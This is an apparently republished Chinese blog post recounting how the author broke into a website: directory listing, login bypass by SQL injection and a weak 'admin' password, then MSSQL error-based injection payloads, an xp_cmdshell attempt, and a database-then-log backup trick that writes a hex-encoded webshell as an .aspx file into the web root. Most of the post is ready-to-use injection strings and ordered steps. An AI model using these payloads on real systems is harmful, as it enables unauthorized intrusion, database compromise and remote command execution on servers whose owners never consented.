一次差異備份拿shell過程
阿新 • • 發佈:2018-01-25
shadow 寫入 一次 科普 table 正文 blog 條件 目前 0x00 前言
掃描器掃到了某個網站存在目錄瀏覽,於是便有了本文。。。
知識點科普:
1. 目錄瀏覽
目錄瀏覽在我個人看來是危害較大的一個漏洞,該漏洞是指“在沒有默認文檔的目錄下,列出該目錄下所有文件名及文件信息”,如果站點存在這種錯誤配置,攻擊者如果知道其中目錄名,則可以查看到這些目錄下的文件。
2.差異備份條件
- 站點絕對路徑
- 具有路徑寫入權限
- 具備當前數據庫權限
0x01 正文
站點配置不當,導致目錄瀏覽,通過查看首頁的源代碼,翻到了幾個目錄
隨便訪問了一個,發現會報錯,說明網站管理員並沒有把錯誤信息屏蔽
還存在信息泄漏。。
但是通常目錄下的文件是需要傳遞參數去執行的,我們並不知道參數名,所以並沒辦法利用
輾轉後到前臺登錄界面查看
嘗試了一下,發現密碼處存在註入和弱口令admin,也就是可以用萬能密碼登錄啦
本來想找一處文件上傳,直接getshell,但是發現好像不存在,卻發現了網站使用了kindeditor和網站絕對路徑
那麽前面登錄口處存在註入,後臺一般也有很多註入的啦,嘗試找一下,如果有的話,配合絕對路徑可以進行getshell
okok,發現註入啦,但到目前為止並不知道數據庫是什麽類型,一般aspx+mssql,由於前面發現是可以報錯的,那麽嘗試使用mssql的報錯方式
%‘ and 1=@@version --a
mssql數據庫,查看一下當前的用戶身份
%‘ and 1=user --a
dbo的權限並不是sa,嘗試一下xp_cmdshell
%‘;exec(‘master..xp_cmdshell whoami‘) --a
並沒有開啟xp_cmdshell,且dbo的權限是不足以開啟xp_cmdshell的,那麽只能嘗試使用差異備份的方式來寫入一個webshell
1. 獲取當前數據庫名稱
%‘ and 1=db_name() --a
2. 對當前數據庫進行備份
%‘;backup database 數據庫名稱 to disk = ‘絕對路徑‘ with init --a
如果成功備份,則網頁返回%‘的查詢結果(因為是堆疊且後面語句的執行並不會有返回結果)
3.創建表格,並寫入webshell
%‘;create table cmd(a image) --a
%‘;insert into cmd(a) values (0xxxxx) --a //webshell的hex值
可以用網上的工具,筆者用以前自己開發的小工具
4.進行第二次備份
%‘;backup log 數據庫名稱 to disk = ‘絕對路徑\\abc.aspx‘--
這裏我將webshell寫入子目錄中,因為有目錄瀏覽,能確切看到文件是否產生
創建成功後,嘗試連接
0x02 後續
- 如果能直接使用xp_cmdshell就盡量不要使用差異備份,因為會產生備份文件,如果數據庫很大的話,會造成影響
- 有任何錯誤,請斧正
一次差異備份拿shell過程